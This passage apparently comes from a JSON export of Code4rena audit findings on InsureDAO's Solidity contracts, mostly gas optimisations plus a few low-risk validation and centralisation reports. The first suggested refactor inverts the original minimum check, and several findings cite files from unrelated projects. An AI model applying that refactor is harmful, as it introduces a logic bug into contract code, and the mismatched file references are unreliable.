"2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept The variable `T_0` can go through 2 assignments in a row: Here: ``` 75: uint256 T_0 = _totalLiquidity; 76: if (T_0 > T_1) { 77: T_0 = T_1; 78: } ``` And here: ``` 134: uint256 T_0 = _totalLiquidity; 135: if (T_0 > T_1) { 136: T_0 = T_1; 137: } ``` The code can be optimized as such to save some gas: ``` uint256 T_0 = _totalLiquidity > T_1 ? _totalLiquidity : T_1; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Apply the refacto "}, {"title": "`CDSTemplate.sol:compensate` code optimization", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Duplicated code, loss of maintainability, increased contract size which leads to increased gas cost ## Proof of Concept The following can be simplified: ``` 260: if (_available >= _amount) { 261: _compensated = _amount; 262: _attributionLoss = vault.transferValue(_amount, msg.sender); 263: emit Compensated(msg.sender, _amount); 264: } else { 265: //when CDS cannot afford, pay as much as possible 266: _compensated = _available; 267: _attributionLoss = vault.transferValue(_available, msg.sender); 268: emit Compensated(msg.sender, _available); 269: } ``` to ``` 260: _compensated = _available >= _amount ? _amount : _available; //when CDS cannot afford, pay as much as possible 261: _attributionLoss = vault.transferValue(_compensated, msg.sender); 262: emit Compensated(msg.sender, _compensated); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Apply the refacto and look out for duplicated code "}, {"title": "Gas: Contracts inheriting `InsureDAOERC20` don't need to import some dependencies *again*", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact When a contract imports and implements an interface or another contracts, it doesn't need to import the libraries that were already imported there. Removing these imports will save gas. ## Proof of Concept `InsureDAOERC20` imports the following: ``` 5: import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\"; 6: import \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\"; ``` The following contracts inherit `InsureDAOERC20` and also make those imports: `CDSTemplate`, `IndexTemplate`, `PoolTemplate` ## Tools Used VS Code ## Recommended Mitigation Steps Remove the unused imports to reduce the size of the contract and save some deployment gas. "}, {"title": "unnecessary checked postfix arithmetics", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/76", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle egjlmn1 # Vulnerability details in all of your for loops, you increase your loop variable using `i++` it has 2 problems: 1. postfix increment is more wasteful than prefix increment (`++i` instead of `i++`) 2. there is no risk for overflow, so you can use `unchecked{}` ## Impact prefix arithmetic is a bit cheaper than postfix arithmetic, but if you do it in a for loop, this small amount of gas can pile up and be a big waste. also, in solidity 0.8.0+, every arithmetic operation is checked for overflow and underflow, which adds a lot of gas to a single operation. Since in your for loop you don't have the risk for overflow, you can surround the operation in `unchecked{}` to save a lot of gas (which will save a huge amount since it saves a lot in a single loop iteration.) ## Proof of Concept Checked on remix ## Tools Used manual code review ## Recommended Mitigation Steps change every `i++` in your for loops to `unchecked{++i}` "}, {"title": "Gas: Consider making variables that aren't updated outside the constructor as `immutable`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact The compiler won't reserve a storage slot for `immutable` variables ## Proof of Concept The following variables are initialized in the contract's constructor and can't get updated after: ``` Factory.sol:registry Factory.sol:ownership Parameters:ownership BondingPremium:ownership Registry:ownership Vault:ownership ``` ## Tools Used VS Code ## Recommended Mitigation Steps Make these variables `immutable` "}, {"title": "Gas: Costly operations inside a loop (`IndexTemplate._adjustAlloc()`)", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Repetitive and expensive SSTORE opcode operations inside loops ## Proof of Concept ``` totalAllocatedCredit -= _available (contracts/IndexTemplate.sol#368) totalAllocatedCredit -= _decrease (contracts/IndexTemplate.sol#395) totalAllocatedCredit += _allocate (contracts/IndexTemplate.sol#401) ``` ## Tools Used Slither ## Recommended Mitigation Steps Create a memory variable which will be used to compute a `_totalAllocatedCredit` that will get added to `totalAllocatedCredit` storage variable outside the loop. As an idea, you could create 1 such `int` variable and use it's value after the for-loop, or you could create 2 uint variables where 1 would store the _totalDecrease and 1 would store the _totalAllocate, and respectively substract and add them. "}, {"title": "Gas: Storage variable `IndexTemplate:pendingEnd#62` is never used and should be deleted", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost (1 slot) ## Proof of Concept IndexTemplate.pendingEnd (contracts/IndexTemplate.sol#62) should be deleted as it's never used by the contract ## Tools Used Slither ## Recommended Mitigation Steps Delete the variable `IndexTemplate.pendingEnd` "}, {"title": "Gas: Unnecessary checked arithmetic when no overflow/underflow possible", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost. ## Proof of Concept Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the arithmetic operation, or the operation doesn't depend on user input), some gas can be saved by using an `unchecked` block. https://docs.soliditylang.org/en/v0.8.10/control-structures.html#checked-or-unchecked-arithmetic These lines are the obvious ones that can't underflow or overflow (operations on constants or checks already made before the operations with `require` statements or `if` statements): ``` PremiumModels\\BondingPremium.sol:47: T_1 = 1000000 * DECIMAL; PremiumModels\\BondingPremium.sol:130: uint256 u1 = BASE - ((_lockedAmount * BASE) / _totalLiquidity); //util rate before. 1000000 = 100.000% PremiumModels\\BondingPremium.sol:132: (((_lockedAmount + _amount) * BASE) / _totalLiquidity); //util rate after. 1000000 = 100.000% IndexTemplate.sol:292: uint256 _lockedCredit = _allocated - _availableBalance; PoolTemplate.sol:942: return a - b; IndexTemplate.sol:308: _retVal = _totalLiquidity - _necessaryAmount; IndexTemplate.sol:393: uint256 _decrease = _current - _target; IndexTemplate.sol:399: uint256 _allocate = _target - _current; IndexTemplate.sol:441: _shortage = _amount - _value; InsureDAOERC20.sol:255: _balances[sender] = senderBalance - amount; InsureDAOERC20.sol:303: _balances[account] = accountBalance - amount; Vault.sol:165: uint256 _shortage = _amount - available(); Vault.sol:310: uint256 _shortage = _retVal - available(); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Uncheck arithmetic operations when the risk of underflow or overflow is already contained. "}, {"title": "too much centralization in the vault, the vault owner can withdraw all the value in the vault", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "too much centralization in the vault, the vault owner can withdraw all the value in the vault"}, {"title": "Gas: Use `calldata` instead of `memory` for external functions where the function argument is read-only.", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact On external functions, when using the `memory` keyword with a function argument, what's happening is that a `memory` acts as an intermediate. Reading directly from `calldata` using `calldataload` instead of going via `memory` saves the gas from the intermediate memory operations that carry the values. As an extract from https://ethereum.stackexchange.com/questions/74442/when-should-i-use-calldata-and-when-should-i-use-memory : > `memory` and `calldata` (as well as `storage`) are keywords that define the data area where a variable is stored. To answer your question directly, `memory` should be used when declaring variables (both function parameters as well as inside the logic of a function) that you want stored in memory (temporary), and `calldata` _must_ be used when declaring an **external** function's **dynamic** parameters. The easiest way to think about the difference is that `calldata` is a non-modifiable, non-persistent area where function arguments are stored, and behaves mostly like memory. ## Proof of Concept ``` arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:159: bytes memory _sig, arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:209: bytes memory _sig, arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:262: bytes memory _sig, arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:130: function finalizeMigrateDelegator(MigrateDelegatorParams memory _params) arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:195: MigrateUnbondingLocksParams memory _params arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:215: function finalizeMigrateSender(MigrateSenderParams memory _params) ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use `calldata` instead of `memory` for external functions where the function argument is read-only. "}, {"title": "Gas: Unused Named Returns", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Using both named returns and a return statement isn't necessary. Removing unused named return variables can reduce gas usage and improve code clarity. To save gas and improve code quality: consider using only one of those. ## Proof of Concept Instances include: ``` ConvexStakingWrapper.sol:310: function earned(address _account) external view returns (EarnedData[] memory claimable) { //@audit-info 342: return claimable; Cvx3CrvOracle.sol:76: returns (uint256 quoteAmount, uint256 updateTime) //@audit-info 78: return _peek(base.b6(), quote.b6(), baseAmount); Cvx3CrvOracle.sol:97: returns (uint256 quoteAmount, uint256 updateTime) //@audit-info 99: return _peek(base.b6(), quote.b6(), baseAmount); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Remove the unused named returns "}, {"title": "Gas: Usage of a non-native 256 bits uint as a counter in for-loops increases gas cost", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Due to how the EVM natively works on 256 bit numbers, using a 8 bit number in for-loops introduces additional costs as the EVM has to properly enforce the limits of this smaller type. See the warning at this link: https://docs.soliditylang.org/en/v0.8.0/internals/layout_in_storage.html#layout-of-state-variables-in-storage : > When using elements that are smaller than 32 bytes, your contract\u2019s gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size. > It is only beneficial to use reduced-size arguments if you are dealing with storage values because the compiler will pack multiple elements into one storage slot, and thus, combine multiple reads or writes into a single operation. When dealing with function arguments or memory values, there is no inherent benefit because the compiler does not pack these values. ## Proof of Concept ``` Vault.sol:109: for (uint128 i = 0; i < 2; i++) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use `uint256` as a counter in for-loops. "}, {"title": "Gas optimization in PoolTemplate.withdraw()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle tqts # Vulnerability details ## Impact None ## Proof of Concept The `withdrawalReq[msg.sender].timestamp` and `parameters.getLockup(msg.sender)` values are used twice in the `require` statements, and both times summed. ## Tools Used Manual review ## Recommended Mitigation Steps Cache the sum value in a new variable. I've sent a similar report for IndexTemplate.withdraw() with a similar issue. "}, {"title": "Gas optimization in IndexTemplate._adjustAlloc()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "Gas optimization in IndexTemplate._adjustAlloc()"}, {"title": "Gas optimization in IndexTemplate.requestWithdraw()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle tqts # Vulnerability details ## Impact None ## Proof of Concept In [L197](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L197) of IndexTemplate, a `_balance` variable is created and initialized to the balance of `msg.sender`. However that variable is used only once in the function. ## Tools Used Manual review ## Recommended Mitigation Steps Replace L198 with `require(balanceOf(msg.sender) >= _amount, \"ERROR: REQUEST_EXCEED_BALANCE\");` and remove L197 "}, {"title": "_depositFrom() does not ensure that _from arg is not the contract itself ", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "_depositFrom() does not ensure that _from arg is not the contract itself "}, {"title": "pool can't be initialized", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "pool can't be initialized"}, {"title": "Update to solc-0.8.10+", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept Solidity 0.8.10 has a useful change which reduced gas costs of external calls which expect a return value: https://blog.soliditylang.org/2021/11/09/solidity-0.8.10-release-announcement/ > Code Generator: Skip existence check for external contract if return data is expected. In this case, the ABI decoder will revert if the contract does not exist InsureDAO is using 0.8.7: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L8 Updating to the newer version of solc will allow InsureDAO to take advantage of these lower costs for external calls. ## Recommended Mitigation Steps Update to solc 0.8.10 or above "}, {"title": "Parameters.sol lacks input validation", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle cccz # Vulnerability details ## Impact When setting parameters in the Parameters contract, the input parameters are not verified. For example, in the setFeeRate function, the _target parameter is not limited. When _target is greater than 1e6, DOS will occur when used in the insure function of the PoolTemplate contract ``` function setFeeRate(address _address, uint256 _target) external override onlyOwner { _fee[_address] = _target; emit FeeRateSet(_address, _target); } ... function insure( uint256 _amount, uint256 _maxCost, uint256 _span, bytes32 _target ) external returns (uint256) { //Distribute premium and fee uint256 _endTime = _span + block.timestamp; uint256 _premium = getPremium(_amount, _span); uint256 _fee = parameters.getFeeRate(msg.sender); require( _amount <= availableBalance(), \"ERROR: INSURE_EXCEEDED_AVAILABLE_BALANCE\" ); require(_premium <= _maxCost, \"ERROR: INSURE_EXCEEDED_MAX_COST\"); require(_span <= 365 days, \"ERROR: INSURE_EXCEEDED_MAX_SPAN\"); require( parameters.getMinDate(msg.sender) <= _span, \"ERROR: INSURE_SPAN_BELOW_MIN\" ); require( marketStatus == MarketStatus.Trading, \"ERROR: INSURE_MARKET_PENDING\" ); require(paused == false, \"ERROR: INSURE_MARKET_PAUSED\"); //current liquidity uint256 _liquidity = totalLiquidity(); uint256 _totalCredit = totalCredit; //accrue premium/fee uint256[2] memory _newAttribution = vault.addValueBatch( _premium, msg.sender, [address(this), parameters.getOwner()], [MAGIC_SCALE_1E6-_fee, _fee] ); ``` ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol ## Tools Used Manual analysis ## Recommended Mitigation Steps When setting parameters in the Parameters contract, verify the input parameters "}, {"title": "Gas: An array's length should be cached to save gas in for-loops", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Reading array length at each iteration of the loop takes 6 gas (3 for mload and 3 to place memory_offset) in the stack. Caching the array length in the stack saves around 3 gas per iteration. ## Proof of Concept ``` Factory.sol:176: for (uint256 i = 0; i < _references.length; i++) { Factory.sol:186: for (uint256 i = 0; i < _conditions.length; i++) { IndexTemplate.sol:655: for (uint256 i = 0; i < poolList.length; i++) { PoolTemplate.sol:343: for (uint256 i = 0; i < _ids.length; i++) { PoolTemplate.sol:671: for (uint256 i = 0; i < indexList.length; i++) { PoolTemplate.sol:703: for (uint256 i = 0; i < indexList.length; i++) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Store the array's length in a variable before the for-loop, and use it instead. "}, {"title": "Redundant if statements in market deployment function", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept Here if the lengths of these arrays are zero we'll fall straight through the for loops so there's no need for the if statements. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L175-L191 ## Recommended Mitigation Steps Remove if statements "}, {"title": "Gas: No need to initialize variables with default values", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact If a variable is not set/initialized, it is assumed to have the default value (0, false, 0x0 etc depending on the data type). Explicitly initializing it with its default value is an anti-pattern and wastes gas. ## Proof of Concept Instances include: ``` Timeswap-V1-Convenience\\contracts\\libraries\\NFTTokenURIScaffold.sol:119: for(uint i = 0; i < lengthDiff; i++) { Timeswap-V1-Convenience\\contracts\\libraries\\NFTTokenURIScaffold.sol:147: for(uint i = 0; i < lengthDiff; i++) { Timeswap-V1-Convenience\\contracts\\libraries\\NFTTokenURIScaffold.sol:201: for (uint256 i = 0; i < data.length; i++) { ``` ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove explicit initialization for default values. "}, {"title": "Redundant tracking of markets in factory", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept Here we push a new market onto an array in the factory whilst we just added the market to the registry. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Factory.sol#L214-L216 ## Recommended Mitigation Steps This array on the factory seems redundant and so it can be removed. "}, {"title": "Gas: SafeMath is not needed when using Solidity version 0.8.*", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept Solidity version 0.8.* already implements overflow and underflow checks by default. Using the SafeMath library from OpenZeppelin (which is more gas expensive than the 0.8.* overflow checks) is therefore redundant. Instances include: ``` mocks\\ERC20.sol:4:import \"@openzeppelin/contracts/utils/math/SafeMath.sol\"; mocks\\ERC20.sol:30: using SafeMath for uint256; mocks\\TestPremiumModel.sol:3:import \"@openzeppelin/contracts/utils/math/SafeMath.sol\"; mocks\\TestPremiumModel.sol:7: using SafeMath for uint256; PremiumModels\\BondingPremium.sol:10:import \"@openzeppelin/contracts/utils/math/SafeMath.sol\"; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use the built-in checks instead of SafeMath and remove SafeMath from the dependencies "}, {"title": "allocatedCredit and availableBalance are always read together so should be returned together.", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept It seems that we always want to get a pool's `allocatedCredit` and `availableBalance` together, suggesting that these values are tightly coupled. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L284-L287 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L356-L360 If we're regularly going to be requesting these values together it may be worth considering having a single function in the pool template which returns both of these values. This would save gas costs of performing an extra external call to the pool contract. ## Recommended Mitigation Steps Consider having a function which returns both of these values to avoid repeated calls into the same contract for related info. "}, {"title": "Gas: `> 0` is less efficient than `!= 0` for unsigned integers", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact `!= 0` costs less gas compared to `> 0` for unsigned integer ## Proof of Concept `> 0` is used in the following location(s): ``` CDSTemplate.sol:100: bytes(_metaData).length > 0 && CDSTemplate.sol:132: require(_amount > 0, \"ERROR: DEPOSIT_ZERO\"); CDSTemplate.sol:140: if (_supply > 0 && _liquidity > 0) { CDSTemplate.sol:142: } else if (_supply > 0 && _liquidity == 0) { CDSTemplate.sol:191: require(_amount > 0, \"ERROR: REQUEST_ZERO\"); CDSTemplate.sol:223: require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); CDSTemplate.sol:296: if (totalSupply() > 0) { Factory.sol:175: if (_references.length > 0) { Factory.sol:185: if (_conditions.length > 0) { Factory.sol:187: if (conditionlist[address(_template)][i] > 0) { IndexTemplate.sol:133: bytes(_metaData).length > 0 && IndexTemplate.sol:166: require(_amount > 0, \"ERROR: DEPOSIT_ZERO\"); IndexTemplate.sol:172: if (_supply > 0 && _totalLiquidity > 0) { IndexTemplate.sol:174: } else if (_supply > 0 && _totalLiquidity == 0) { IndexTemplate.sol:199: require(_amount > 0, \"ERROR: REQUEST_ZERO\"); IndexTemplate.sol:231: require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); IndexTemplate.sol:246: if (_liquidityAfter > 0) { IndexTemplate.sol:274: if(_totalLiquidity > 0){ IndexTemplate.sol:283: if (_allocPoint > 0) { IndexTemplate.sol:391: if (_current > _target && _available != 0) { IndexTemplate.sol:427: allocPoints[msg.sender] > 0, IndexTemplate.sol:477: require(allocPoints[msg.sender] > 0); IndexTemplate.sol:493: if (totalLiquidity() > 0) { IndexTemplate.sol:513: if (totalSupply() > 0) { IndexTemplate.sol:612: if (totalAllocPoint > 0) { IndexTemplate.sol:656: if (allocPoints[poolList[i]] > 0) { InsureDAOERC20.sol:302: require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\"); Parameters.sol:31: mapping(address => uint256) private _fee; //fee rate in 1e6 (100% = 1e6) PoolTemplate.sol:185: bytes(_metaData).length > 0 && PoolTemplate.sol:218: if (_conditions[1] > 0) { PoolTemplate.sol:237: require(_amount > 0, \"ERROR: DEPOSIT_ZERO\"); PoolTemplate.sol:263: require(_amount > 0, \"ERROR: DEPOSIT_ZERO\"); PoolTemplate.sol:282: require(_amount > 0, \"ERROR: REQUEST_ZERO\"); PoolTemplate.sol:321: require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); PoolTemplate.sol:391: } else if (_index.credit > 0) { PoolTemplate.sol:396: if (_pending > 0) { PoolTemplate.sol:401: if (_credit > 0) { PoolTemplate.sol:437: if (_credit > 0) { PoolTemplate.sol:444: if (_pending > 0) { PoolTemplate.sol:521: if (_totalCredit > 0) { PoolTemplate.sol:672: if (indicies[indexList[i]].credit > 0) { PoolTemplate.sol:706: if (_credit > 0) { PoolTemplate.sol:726: if (_deductionFromPool > 0) { PoolTemplate.sol:745: if (totalSupply() > 0) { PoolTemplate.sol:802: if (_supply > 0 && _originalLiquidity > 0) { PoolTemplate.sol:804: } else if (_supply > 0 && _originalLiquidity == 0) { PoolTemplate.sol:835: if (totalLiquidity() > 0) { PoolTemplate.sol:847: if (lockedAmount > 0) { PoolTemplate.sol:929: require(b > 0); Vault.sol:154: attributions[msg.sender] > 0 && Vault.sol:187: attributions[msg.sender] > 0 && Vault.sol:220: attributions[msg.sender] > 0 && Vault.sol:347: if (_amount > 0) { Vault.sol:388: if (totalAttributions > 0 && _attribution > 0) { Vault.sol:406: if (attributions[_target] > 0) { Vault.sol:473: } else if (IERC20(_token).balanceOf(address(this)) > 0) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Change `> 0` with `!= 0`. "}, {"title": "Unnecessary market status check on redemption", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept Here on L563 we check the market status however we have already done this on L558 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L557-L567 ## Recommended Mitigation Steps Remove redundant check (check other market templates as well) "}, {"title": "Skip balance check in _beforeTokenTransfer if no withdrawalRequest exists", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept When transferring any of the market tokens, a check is performed to see if they have a pending withdrawal and reduce it if their balance falls below the requested amount. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L910-L923 In the case where a user has no pending withdrawal we then perform an unnecessary check on their balance. We could save an SLOAD by changing it to the below ``` if (from != address(0)) { uint256 reqAmount = withdrawalReq[from].amount if (reqAmount > 0){ uint256 _after = balanceOf(from) - amount; if (_after < reqAmount) { withdrawalReq[from].amount = _after; } } } ``` ## Recommended Mitigation Steps As above "}, {"title": "Gas: Consider making some constants as non-public to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Reducing from public to private will save gas ## Proof of Concept ``` arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:111: bytes32 public constant GOVERNOR_ROLE = keccak256(\"GOVERNOR_ROLE\"); arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:59: bytes32 public constant GOVERNOR_ROLE = keccak256(\"GOVERNOR_ROLE\"); arbitrum-lpt-bridge\\contracts\\L2\\token\\LivepeerToken.sol:9: bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\"); arbitrum-lpt-bridge\\contracts\\L2\\token\\LivepeerToken.sol:10: bytes32 public constant BURNER_ROLE = keccak256(\"BURNER_ROLE\"); arbitrum-lpt-bridge\\contracts\\ControlledGateway.sol:13: bytes32 public constant GOVERNOR_ROLE = keccak256(\"GOVERNOR_ROLE\"); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Theses constants can simply be read from the verified contract, i.e., it is unnecessary to expose them with a public function. "}, {"title": "Withdrawal struct can be packed to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Detailed description of the impact of this finding. ## Proof of Concept The `Withdrawal` struct in `IndexTemplate.sol` contains a timestamp and the amount of tokens which the user requests to withdraw. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L81-L84 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L198 If we make the safe assumption that the user's balance does not exceed 2^192 then we can pack this struct into a single storage slot to save an SLOAD by changing the definition to: ``` struct Withdrawal { uint64 timestamp; uint192 amount; } ``` ## Recommended Mitigation Steps As above "}, {"title": "sqrt can be made unchecked to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept In the sqrt function it is known that the while loop will not overflow so it can be safely left unchecked to save gas. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PremiumModels/BondingPremium.sol#L238-L245 ``` function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; unchecked { y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } ``` ## Recommended Mitigation Steps wrap entire function body in a unchecked block as above "}, {"title": "Never used parameters", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "Never used parameters"}, {"title": "Assert instead require to validate user inputs", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/21", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle robee # Vulnerability details From solidity docs: Properly functioning code should never reach a failing assert statement; if this happens there is a bug in your contract which you should fix. With assert the user pays the gas and with require it doesn't. The ETH network gas isn't cheap and users can see it as a scam. You have reachable asserts in the following locations (which should be replaced by require / are mistakenly left from development phase): XDEFIDistribution.sol : reachable assert in line 284 